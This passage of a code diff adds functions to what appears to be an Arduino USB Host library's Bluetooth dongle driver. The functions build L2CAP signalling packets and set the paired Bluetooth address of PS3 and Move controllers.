     1235 + delay(100); // This small delay prevents it from overflowing if it fails
     1236 +#ifdef DEBUG_USB_HOST
     1237 + Notify(PSTR("\r\nError sending L2CAP message: 0x"), 0x80);
     1238 + D_PrintHex<uint8_t > (rcode, 0x80);
     1239 + Notify(PSTR(" - Channel ID: "), 0x80);
     1240 + D_PrintHex<uint8_t > (channelHigh, 0x80);
     1241 + Notify(PSTR(" "), 0x80);
     1242 + D_PrintHex<uint8_t > (channelLow, 0x80);
     1243 +#endif
     1244 + }
     1245 +}
     1246 + 
     1247 +void BTD::l2cap_connection_request(uint16_t handle, uint8_t rxid, uint8_t* scid, uint16_t psm) {
     1248 + l2capoutbuf[0] = L2CAP_CMD_CONNECTION_REQUEST; // Code
     1249 + l2capoutbuf[1] = rxid; // Identifier
     1250 + l2capoutbuf[2] = 0x04; // Length
     1251 + l2capoutbuf[3] = 0x00;
     1252 + l2capoutbuf[4] = (uint8_t)(psm & 0xff); // PSM
     1253 + l2capoutbuf[5] = (uint8_t)(psm >> 8);
     1254 + l2capoutbuf[6] = scid[0]; // Source CID
     1255 + l2capoutbuf[7] = scid[1];
     1256 + 
     1257 + L2CAP_Command(handle, l2capoutbuf, 8);
     1258 +}
     1259 + 
     1260 +void BTD::l2cap_connection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid, uint8_t result) {
     1261 + l2capoutbuf[0] = L2CAP_CMD_CONNECTION_RESPONSE; // Code
     1262 + l2capoutbuf[1] = rxid; // Identifier
     1263 + l2capoutbuf[2] = 0x08; // Length
     1264 + l2capoutbuf[3] = 0x00;
     1265 + l2capoutbuf[4] = dcid[0]; // Destination CID
     1266 + l2capoutbuf[5] = dcid[1];
     1267 + l2capoutbuf[6] = scid[0]; // Source CID
     1268 + l2capoutbuf[7] = scid[1];
     1269 + l2capoutbuf[8] = result; // Result: Pending or Success
     1270 + l2capoutbuf[9] = 0x00;
     1271 + l2capoutbuf[10] = 0x00; // No further information
     1272 + l2capoutbuf[11] = 0x00;
     1273 + 
     1274 + L2CAP_Command(handle, l2capoutbuf, 12);
     1275 +}
     1276 + 
     1277 +void BTD::l2cap_config_request(uint16_t handle, uint8_t rxid, uint8_t* dcid) {
     1278 + l2capoutbuf[0] = L2CAP_CMD_CONFIG_REQUEST; // Code
     1279 + l2capoutbuf[1] = rxid; // Identifier
     1280 + l2capoutbuf[2] = 0x08; // Length
     1281 + l2capoutbuf[3] = 0x00;
     1282 + l2capoutbuf[4] = dcid[0]; // Destination CID
     1283 + l2capoutbuf[5] = dcid[1];
     1284 + l2capoutbuf[6] = 0x00; // Flags
     1285 + l2capoutbuf[7] = 0x00;
     1286 + l2capoutbuf[8] = 0x01; // Config Opt: type = MTU (Maximum Transmission Unit) - Hint
     1287 + l2capoutbuf[9] = 0x02; // Config Opt: length
     1288 + l2capoutbuf[10] = 0xFF; // MTU
     1289 + l2capoutbuf[11] = 0xFF;
     1290 + 
     1291 + L2CAP_Command(handle, l2capoutbuf, 12);
     1292 +}
     1293 + 
     1294 +void BTD::l2cap_config_response(uint16_t handle, uint8_t rxid, uint8_t* scid) {
     1295 + l2capoutbuf[0] = L2CAP_CMD_CONFIG_RESPONSE; // Code
     1296 + l2capoutbuf[1] = rxid; // Identifier
     1297 + l2capoutbuf[2] = 0x0A; // Length
     1298 + l2capoutbuf[3] = 0x00;
     1299 + l2capoutbuf[4] = scid[0]; // Source CID
     1300 + l2capoutbuf[5] = scid[1];
     1301 + l2capoutbuf[6] = 0x00; // Flag
     1302 + l2capoutbuf[7] = 0x00;
     1303 + l2capoutbuf[8] = 0x00; // Result
     1304 + l2capoutbuf[9] = 0x00;
     1305 + l2capoutbuf[10] = 0x01; // Config
     1306 + l2capoutbuf[11] = 0x02;
     1307 + l2capoutbuf[12] = 0xA0;
     1308 + l2capoutbuf[13] = 0x02;
     1309 + 
     1310 + L2CAP_Command(handle, l2capoutbuf, 14);
     1311 +}
     1312 + 
     1313 +void BTD::l2cap_disconnection_request(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid) {
     1314 + l2capoutbuf[0] = L2CAP_CMD_DISCONNECT_REQUEST; // Code
     1315 + l2capoutbuf[1] = rxid; // Identifier
     1316 + l2capoutbuf[2] = 0x04; // Length
     1317 + l2capoutbuf[3] = 0x00;
     1318 + l2capoutbuf[4] = dcid[0];
     1319 + l2capoutbuf[5] = dcid[1];
     1320 + l2capoutbuf[6] = scid[0];
     1321 + l2capoutbuf[7] = scid[1];
     1322 + 
     1323 + L2CAP_Command(handle, l2capoutbuf, 8);
     1324 +}
     1325 + 
     1326 +void BTD::l2cap_disconnection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid) {
     1327 + l2capoutbuf[0] = L2CAP_CMD_DISCONNECT_RESPONSE; // Code
     1328 + l2capoutbuf[1] = rxid; // Identifier
     1329 + l2capoutbuf[2] = 0x04; // Length
     1330 + l2capoutbuf[3] = 0x00;
     1331 + l2capoutbuf[4] = dcid[0];
     1332 + l2capoutbuf[5] = dcid[1];
     1333 + l2capoutbuf[6] = scid[0];
     1334 + l2capoutbuf[7] = scid[1];
     1335 + 
     1336 + L2CAP_Command(handle, l2capoutbuf, 8);
     1337 +}
     1338 + 
     1339 +void BTD::l2cap_information_response(uint16_t handle, uint8_t rxid, uint8_t infoTypeLow, uint8_t infoTypeHigh) {
     1340 + l2capoutbuf[0] = L2CAP_CMD_INFORMATION_RESPONSE; // Code
     1341 + l2capoutbuf[1] = rxid; // Identifier
     1342 + l2capoutbuf[2] = 0x08; // Length
     1343 + l2capoutbuf[3] = 0x00;
     1344 + l2capoutbuf[4] = infoTypeLow;
     1345 + l2capoutbuf[5] = infoTypeHigh;
     1346 + l2capoutbuf[6] = 0x00; // Result = success
     1347 + l2capoutbuf[7] = 0x00; // Result = success
     1348 + l2capoutbuf[8] = 0x00;
     1349 + l2capoutbuf[9] = 0x00;
     1350 + l2capoutbuf[10] = 0x00;
     1351 + l2capoutbuf[11] = 0x00;
     1352 + 
     1353 + L2CAP_Command(handle, l2capoutbuf, 12);
     1354 +}
     1355 + 
     1356 +/* PS3 Commands - only set Bluetooth address is implemented in this library */
     1357 +void BTD::setBdaddr(uint8_t* bdaddr) {
     1358 + /* Set the internal Bluetooth address */
     1359 + uint8_t buf[8];
     1360 + buf[0] = 0x01;
     1361 + buf[1] = 0x00;
     1362 + 
     1363 + for(uint8_t i = 0; i < 6; i++)
     1364 + buf[i + 2] = bdaddr[5 - i]; // Copy into buffer, has to be written reversed, so it is MSB first
     1365 + 
     1366 + // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0xF5), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data
     1367 + pUsb->ctrlReq(bAddress, epInfo[BTD_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0xF5, 0x03, 0x00, 8, 8, buf, NULL);
     1368 +}
     1369 + 
     1370 +void BTD::setMoveBdaddr(uint8_t* bdaddr) {
     1371 + /* Set the internal Bluetooth address */
     1372 + uint8_t buf[11];
     1373 + buf[0] = 0x05;
     1374 + buf[7] = 0x10;
     1375 + buf[8] = 0x01;
     1376 + buf[9] = 0x02;
     1377 + buf[10] = 0x12;
     1378 + 
     1379 + for(uint8_t i = 0; i < 6; i++)
     1380 + buf[i + 1] = bdaddr[i];
     1381 + 
     1382 + // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x05), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data
     1383 + pUsb->ctrlReq(bAddress, epInfo[BTD_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x05, 0x03, 0x00, 11, 11, buf, NULL);
     1384 +}
     1385 + 
Please wait...
Page is in error, reload to recover